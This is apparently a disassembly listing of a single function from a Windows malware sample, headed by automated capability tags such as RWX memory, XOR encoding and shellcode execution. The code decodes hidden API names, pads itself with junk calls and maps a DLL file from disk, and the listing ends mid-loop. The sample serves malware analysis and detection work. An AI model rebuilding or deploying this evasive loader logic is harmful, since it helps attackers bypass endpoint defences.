Function at 0x1400021c0
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Check http status code
Encode data using xor
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x938
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0x8a0], xmm6
call fcn.1400041e0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xd3
cmove edx, ecx
movd xmm0, edx
mov ecx, edx
xor cl, 0xb8
mov byte [rax], cl
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c110]
movdqa xmmword [rbp + 0x730], xmm0
movzx ecx, byte [rbp + 0x732]
movzx edx, byte [rbp + 0x733]
mov byte [rax + 1], cl
movq qword [rax + 2], xmm0
mov byte [rax + 0xa], dl
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
nop
push rax
pop rcx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
nop
push rax
pop rsi
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xd0
je 0x140002280
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x56
je 0x140002290
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x20
je 0x1400022a0
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xc
call sub.msvcrt.dll_malloc
or edi, edi
mov ecx, 0x31
mov edx, 0xd3
cmove edx, ecx
mov ecx, edx
xor cl, 0xa4
mov byte [rax], cl
mov ecx, edx
xor cl, 0xba
mov byte [rax + 1], cl
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c120]
mov byte [rax + 3], cl
movdqa xmmword [rbp + 0x660], xmm0
movzx ecx, byte [rbp + 0x660]
mov byte [rax + 2], cl
movd dword [rax + 4], xmm0
mov ecx, edx
xor cl, 0xb7
mov byte [rax + 8], cl
xor dl, 0xbf
mov byte [rax + 9], dl
mov byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
push rax
pop rcx
nop
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
push rax
nop
pop rdi
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x61
je 0x140002330
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xcb
je 0x140002340
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x10
je 0x140002350
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0x13
call sub.msvcrt.dll_malloc
or ebx, ebx
mov edx, 0x31
mov ecx, 0xd3
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c130]
movq qword [rax], xmm0
movdqa xmmword [rbp + 0x740], xmm0
movzx edx, byte [rbp + 0x741]
movzx r8d, byte [rbp + 0x747]
mov byte [rax + 8], dl
mov r9d, ecx
xor r9b, 0x95
mov byte [rax + 9], r9b
mov r9d, ecx
xor r9b, 0xba
mov byte [rax + 0xa], r9b
mov byte [rax + 0xb], r8b
mov byte [rax + 0xc], dl
mov r8d, ecx
xor r8b, 0x9d
mov byte [rax + 0xd], r8b
mov r8d, ecx
xor r8b, 0xb2
mov byte [rax + 0xe], r8b
mov r8d, ecx
xor r8b, 0xbe
mov byte [rax + 0xf], r8b
mov byte [rax + 0x10], dl
xor cl, 0x92
mov byte [rax + 0x11], cl
mov byte [rax + 0x12], 0
push rsi
pop rcx
nop
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x7e0], rax
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xe2
je 0x140002410
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x84
je 0x140002420
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xde
je 0x140002430
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x9d
je 0x140002440
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x7b
je 0x140002470
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or ebx, ebx
mov r15d, 0x31
mov r14d, 0xd3
mov ecx, 0xd3
cmove ecx, r15d
mov edx, ecx
xor dl, 0x94
mov byte [rax], dl
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c140]
movdqa xmmword [rbp + 0x750], xmm0
movzx edx, byte [rbp + 0x751]
movzx r8d, byte [rbp + 0x756]
mov byte [rax + 1], dl
mov byte [rax + 2], r8b
movq qword [rax + 3], xmm0
xor cl, 0x92
mov byte [rax + 0xb], cl
mov byte [rax + 0xc], 0
mov r12, qword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
push rsi
pop rcx
nop
push rax
pop rdx
call r12
mov qword [rbp + 0x7e8], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0xa
call sub.msvcrt.dll_malloc
or ebx, ebx
cmove r14d, r15d
movd xmm0, r14d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c150]
movq qword [rax], xmm0
xor r14b, 0x92
mov byte [rax + 8], r14b
mov byte [rax + 9], 0
nop
push rsi
pop rcx
push rax
nop
pop rdx
call r12
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc
je 0x140002580
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or ebx, ebx
mov edx, 0x31
mov ecx, 0xd3
cmove ecx, edx
mov edx, ecx
xor dl, 0x90
mov byte [rax], dl
mov edx, ecx
xor dl, 0xa1
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c160]
mov byte [rax + 1], dl
movdqa xmmword [rbp + 0x670], xmm0
movzx r8d, byte [rbp + 0x672]
mov byte [rax + 2], r8b
movd dword [rax + 3], xmm0
mov byte [rax + 7], dl
mov edx, ecx
xor dl, 0xbc
mov byte [rax + 8], dl
mov edx, ecx
xor dl, 0xb0
mov byte [rax + 9], dl
mov byte [rax + 0xa], r8b
mov edx, ecx
xor dl, 0xa0
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], dl
xor cl, 0x92
mov byte [rax + 0xd], cl
mov byte [rax + 0xe], 0
nop
push rsi
pop rcx
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x7f0], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x53
je 0x140002660
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0x14
call sub.msvcrt.dll_malloc
or ebx, ebx
mov edx, 0x31
mov ecx, 0xd3
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c170]
pxor xmm1, xmm0
movq qword [rax], xmm1
movdqa xmmword [rbp + 0x760], xmm1
movzx edx, byte [rbp + 0x762]
movzx r8d, byte [rbp + 0x763]
mov byte [rax + 8], dl
pxor xmm0, xmmword [0x14000c180]
movd dword [rax + 9], xmm0
mov edx, ecx
xor dl, 0x9c
mov byte [rax + 0xd], dl
mov edx, ecx
xor dl, 0xb1
mov byte [rax + 0xe], dl
mov edx, ecx
xor dl, 0xb9
mov byte [rax + 0xf], dl
movdqa xmmword [rbp + 0x680], xmm0
movzx edx, byte [rbp + 0x683]
mov byte [rax + 0x10], dl
xor cl, 0xb0
mov byte [rax + 0x11], cl
mov byte [rax + 0x12], r8b
mov byte [rax + 0x13], 0
nop
push rsi
pop rcx
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
cmp eax, 0xab
je 0x140002730
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x26
je 0x140002740
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xa5
je 0x140002750
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0xc
call sub.msvcrt.dll_malloc
or ebx, ebx
mov ecx, 0x31
mov edx, 0xd3
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c190]
movq qword [rax], xmm0
xor dl, 0xb7
mov byte [rax + 8], dl
movdqa xmmword [rbp + 0x770], xmm0
movzx ecx, byte [rbp + 0x771]
movzx edx, byte [rbp + 0x774]
mov byte [rax + 9], cl
mov byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
push rsi
nop
pop rcx
push rax
nop
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc5
je 0x1400027e0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or ebx, ebx
mov ecx, 0x31
mov edx, 0xd3
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1a0]
movq qword [rax], xmm0
movdqa xmmword [rbp + 0x780], xmm0
movzx ecx, byte [rbp + 0x782]
movzx r8d, byte [rbp + 0x783]
mov byte [rax + 8], cl
mov ecx, edx
xor cl, 0xbc
mov byte [rax + 9], cl
mov byte [rax + 0xa], r8b
mov ecx, edx
xor cl, 0xb6
mov byte [rax + 0xb], cl
xor dl, 0xb0
mov byte [rax + 0xc], dl
mov byte [rax + 0xd], r8b
mov byte [rax + 0xe], 0
push rsi
nop
pop rcx
push rax
nop
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x6f
je 0x1400028d0
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0x11
call sub.msvcrt.dll_malloc
or ebx, ebx
mov edx, 0x31
mov ecx, 0xd3
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1b0]
movq qword [rax], xmm0
mov edx, ecx
xor dl, 0x95
mov byte [rax + 8], dl
mov edx, ecx
xor dl, 0xbc
mov byte [rax + 9], dl
mov edx, ecx
xor dl, 0xa1
mov byte [rax + 0xa], dl
movdqa xmmword [rbp + 0x850], xmm0
movzx edx, byte [rbp + 0x853]
movzx r8d, byte [rbp + 0x855]
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], r8b
movzx edx, byte [rbp + 0x856]
mov byte [rax + 0xd], dl
mov edx, ecx
xor dl, 0xa0
mov byte [rax + 0xe], dl
xor cl, 0x92
mov byte [rax + 0xf], cl
mov byte [rax + 0x10], 0
push rsi
pop rcx
nop
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
cmp eax, 1
je 0x140002980
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x5c
je 0x140002990
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or ebx, ebx
mov ecx, 0x31
mov edx, 0xd3
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c1c0]
pxor xmm1, xmm0
movq qword [rax], xmm1
movdqa xmmword [rbp + 0x690], xmm1
movzx ecx, byte [rbp + 0x696]
mov byte [rax + 8], cl
mov byte [rax + 9], cl
pxor xmm0, xmmword [0x14000c1d0]
movd dword [rax + 0xa], xmm0
mov byte [rax + 0xe], 0
push rsi
nop
pop rcx
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x7f8], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
call sub.msvcrt.dll_rand
cmp eax, 0x36
je 0x140002a20
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0x13
call sub.msvcrt.dll_malloc
or ebx, ebx
mov edx, 0x31
mov ecx, 0xd3
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1e0]
movd dword [rax], xmm0
mov edx, ecx
xor dl, 0xb6
mov byte [rax + 4], dl
mov r8d, ecx
xor r8b, 0x83
mov byte [rax + 5], r8b
movdqa xmmword [rbp + 0x6a0], xmm0
movzx r8d, byte [rbp + 0x6a1]
mov byte [rax + 6], r8b
mov r9d, ecx
xor r9b, 0xbc
mov byte [rax + 7], r9b
mov r10d, ecx
xor r10b, 0xb0
mov byte [rax + 8], r10b
mov byte [rax + 9], dl
mov r10d, ecx
xor r10b, 0xa0
mov byte [rax + 0xa], r10b
mov byte [rax + 0xb], r10b
mov r10d, ecx
xor r10b, 0x9e
mov byte [rax + 0xc], r10b
mov byte [rax + 0xd], dl
mov edx, ecx
xor dl, 0xbe
mov byte [rax + 0xe], dl
mov byte [rax + 0xf], r9b
mov byte [rax + 0x10], r8b
xor cl, 0xaa
mov byte [rax + 0x11], cl
mov byte [rax + 0x12], 0
nop
push rsi
pop rcx
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x800], rax
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x55
je 0x140002af0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x46
je 0x140002b20
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xe0
je 0x140002b30
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or ebx, ebx
mov edx, 0x31
mov ecx, 0xd3
cmove ecx, edx
mov edx, ecx
xor dl, 0x82
mov byte [rax], dl
mov edx, ecx
xor dl, 0xa6
mov byte [rax + 1], dl
mov byte [rax + 3], dl
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1f0]
movdqa xmmword [rbp + 0x6b0], xmm0
movzx edx, byte [rbp + 0x6b2]
mov byte [rax + 2], dl
mov byte [rax + 4], dl
movd dword [rax + 5], xmm0
mov edx, ecx
xor dl, 0x92
mov byte [rax + 9], dl
mov edx, ecx
xor dl, 0x83
mov byte [rax + 0xa], dl
xor cl, 0x90
mov byte [rax + 0xb], cl
mov byte [rax + 0xc], 0
push rsi
pop rcx
nop
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x810], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xca
je 0x140002c00
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x94
je 0x140002c10
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or ebx, ebx
mov edx, 0x31
mov ecx, 0xd3
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c200]
movd dword [rax], xmm0
mov edx, ecx
xor dl, 0xbe
mov byte [rax + 4], dl
movdqa xmmword [rbp + 0x6c0], xmm0
movzx edx, byte [rbp + 0x6c1]
mov byte [rax + 5], dl
mov r8d, ecx
xor r8b, 0x87
mov byte [rax + 6], r8b
mov r8d, ecx
xor r8b, 0xbb
mov byte [rax + 7], r8b
mov r8d, ecx
xor r8b, 0xa1
mov byte [rax + 8], r8b
mov byte [rax + 9], dl
mov edx, ecx
xor dl, 0xb2
mov byte [rax + 0xa], dl
xor cl, 0xb7
mov byte [rax + 0xb], cl
mov byte [rax + 0xc], 0
nop
push rsi
pop rcx
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x818], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xa7
je 0x140002ce0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x6d
je 0x140002cf0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xe
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xd3
cmove ecx, edx
mov edx, ecx
xor dl, 0x9a
mov byte [rax], dl
mov edx, ecx
xor dl, 0xbd
mov byte [rax + 1], dl
mov r8d, ecx
xor r8b, 0xa7
mov byte [rax + 2], r8b
mov r9d, ecx
xor r9b, 0xb6
mov byte [rax + 3], r9b
mov r10d, ecx
xor r10b, 0xa1
mov byte [rax + 4], r10b
mov byte [rax + 5], dl
mov byte [rax + 6], r9b
mov byte [rax + 7], r8b
mov r8d, ecx
xor r8b, 0x9c
mov byte [rax + 8], r8b
mov r8d, ecx
xor r8b, 0xa3
mov byte [rax + 9], r8b
mov byte [rax + 0xa], r9b
mov byte [rax + 0xb], dl
xor cl, 0x92
mov byte [rax + 0xc], cl
mov byte [rax + 0xd], 0
push rdi
nop
pop rcx
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x820], rax
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x86
je 0x140002db0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x8a
je 0x140002de0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xe1
je 0x140002e00
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x11
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xd3
cmove ecx, edx
mov edx, ecx
xor dl, 0x9a
mov byte [rax], dl
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c210]
movdqa xmmword [rbp + 0x6d0], xmm0
movzx edx, word [rbp + 0x6d3]
rol dx, 8
pxor xmm1, xmm1
movdqa xmm2, xmm0
punpcklbw xmm2, xmm1
pshuflw xmm1, xmm2, 0xec
pshufhw xmm1, xmm1, 0xe8
pshufd xmm1, xmm1, 0xe8
pshuflw xmm1, xmm1, 0xd2
packuswb xmm1, xmm1
movd dword [rax + 1], xmm1
mov word [rax + 5], dx
movq qword [rax + 7], xmm0
xor cl, 0x92
mov byte [rax + 0xf], cl
mov byte [rax + 0x10], 0
push rdi
nop
pop rcx
push rax
nop
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x828], rax
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x4c
je 0x140002eb0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xdd
je 0x140002ec0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xed
je 0x140002ed0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x44
je 0x140002ee0
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x11
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xd3
cmove edx, ecx
mov ecx, edx
mov r8d, edx
movd xmm0, edx
xor dl, 0x9a
mov byte [rax], dl
xor cl, 0xbd
mov byte [rax + 1], cl
xor r8b, 0xa1
mov byte [rax + 4], r8b
mov byte [rax + 5], cl
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c220]
movdqa xmmword [rbp + 0x790], xmm0
movzx ecx, byte [rbp + 0x790]
movzx edx, byte [rbp + 0x792]
mov byte [rax + 2], cl
mov byte [rax + 3], dl
mov byte [rax + 6], dl
movq qword [rax + 7], xmm0
mov byte [rax + 0xf], dl
mov byte [rax + 0x10], 0
push rdi
pop rcx
nop
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x888], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xa8
je 0x140002f90
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xef
je 0x140002fa0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push rax
pop rdi
nop
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
pxor xmm6, xmm6
movdqa xmmword [rbp + 0x710], xmm6
mov qword [rbp + 0x720], 0
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xa
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xd3
cmove edx, ecx
movd xmm0, edx
mov ecx, edx
xor cl, 0xbd
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c230]
mov byte [rax], cl
punpcklbw xmm0, xmm6
pshufd xmm0, xmm0, 0x44
pshuflw xmm0, xmm0, 0xa4
pshufhw xmm0, xmm0, 0xa7
packuswb xmm0, xmm0
movq qword [rax + 1], xmm0
mov byte [rax + 9], 0
nop
push rax
pop rcx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
nop
push rax
pop rsi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x7b
je 0x140003070
lea r8, [rbp + 0x710]
push rdi
pop rcx
nop
nop
push rsi
pop rdx
mov r9d, 0x18
call sub.KERNEL32.dll_K32GetModuleInformation
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rbx, qword [rbp + 0x710]
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x59
je 0x1400030b0
mov qword [rbp + 0x838], rsi
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x76
je 0x1400030d0
mov qword [rbp + 0x830], rdi
mov qword [rbp + 0x808], r14
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x21
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xd3
cmove ecx, edx
mov edx, ecx
xor dl, 0xb0
mov byte [rax], dl
mov edx, ecx
xor dl, 0xe9
mov byte [rax + 1], dl
mov r9d, ecx
xor r9b, 0xa4
mov byte [rax + 4], r9b
mov edx, ecx
xor dl, 0xba
mov byte [rax + 5], dl
mov r8d, ecx
xor r8b, 0xbd
mov byte [rax + 6], r8b
mov edx, ecx
xor dl, 0xb7
mov byte [rax + 7], dl
mov r10d, ecx
xor r10b, 0xbc
mov byte [rax + 8], r10b
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c240]
mov byte [rax + 9], r9b
movdqa xmmword [rbp + 0x7a0], xmm0
movzx r9d, byte [rbp + 0x7a2]
movzx r10d, byte [rbp + 0x7a7]
mov byte [rax + 2], r10b
mov byte [rax + 3], r10b
pxor xmm1, xmm1
movdqa xmm2, xmm0
punpcklbw xmm2, xmm1
pshufd xmm1, xmm2, 0xec
pshuflw xmm1, xmm1, 0x7d
packuswb xmm1, xmm1
movd dword [rax + 0xa], xmm1
movq qword [rax + 0xe], xmm0
mov byte [rax + 0x16], r10b
mov byte [rax + 0x17], r8b
mov byte [rax + 0x18], r9b
mov byte [rax + 0x19], dl
mov r8d, ecx
xor r8b, 0xbf
mov byte [rax + 0x1a], r8b
mov byte [rax + 0x1b], r8b
xor cl, 0xfd
mov byte [rax + 0x1c], cl
mov byte [rax + 0x1d], dl
mov byte [rax + 0x1e], r8b
mov byte [rax + 0x1f], r8b
mov byte [rax + 0x20], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
push rax
nop
pop rcx
mov edx, 0x80000000
mov r8d, 1
sub r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
push rax
nop
pop rsi
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xe2
je 0x140003210
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rbp + 0x840], rsi
push rsi
nop
pop rcx
sub edx, edx
mov r8d, 0x1000002
sub r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push rax
nop
pop rsi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov qword [rsp + 0x20], 0
mov qword [rbp + 0x848], rsi
nop
push rsi
pop rcx
mov edx, 4
sub r8d, r8d
sub r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rbp + 0x7d8], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x37
je 0x1400032a0
movsxd rsi, dword [rbx + 0x3c]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
cmp word [rsi + rbx + 6], 0
je 0x140003470
add rsi, rbx
lea rdi, [rsi + 0x18]
xor r14d, r14d
mov r12d, 0x31
movdqa xmm6, xmmword [0x14000c250]
jmp 0x140003300
inc r14
movzx eax, word [rsi + 6]
cmp r14, rax
jae 0x140003470
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
movzx eax, word [rsi + 0x14]
lea rcx, [r14 + r14*4]
lea r15, [rdi + rcx*8]
add r15, rax
call sub.msvcrt.dll_rand
mov r13d, eax
mov ecx, 6
call sub.msvcrt.dll_malloc
test r13d, r13d
mov ecx, 0xd3
cmove ecx, r12d
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmm6
movd dword [rax], xmm0
movdqa xmmword [rbp + 0x6e0], xmm0
movzx ecx, byte [rbp + 0x6e1]
mov byte [rax + 4], cl
mov byte [rax + 5], 0
mov rcx, r15
push rax
nop
pop rdx
call sub.msvcrt.dll_strcmp
or eax, eax
jne 0x1400032f0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
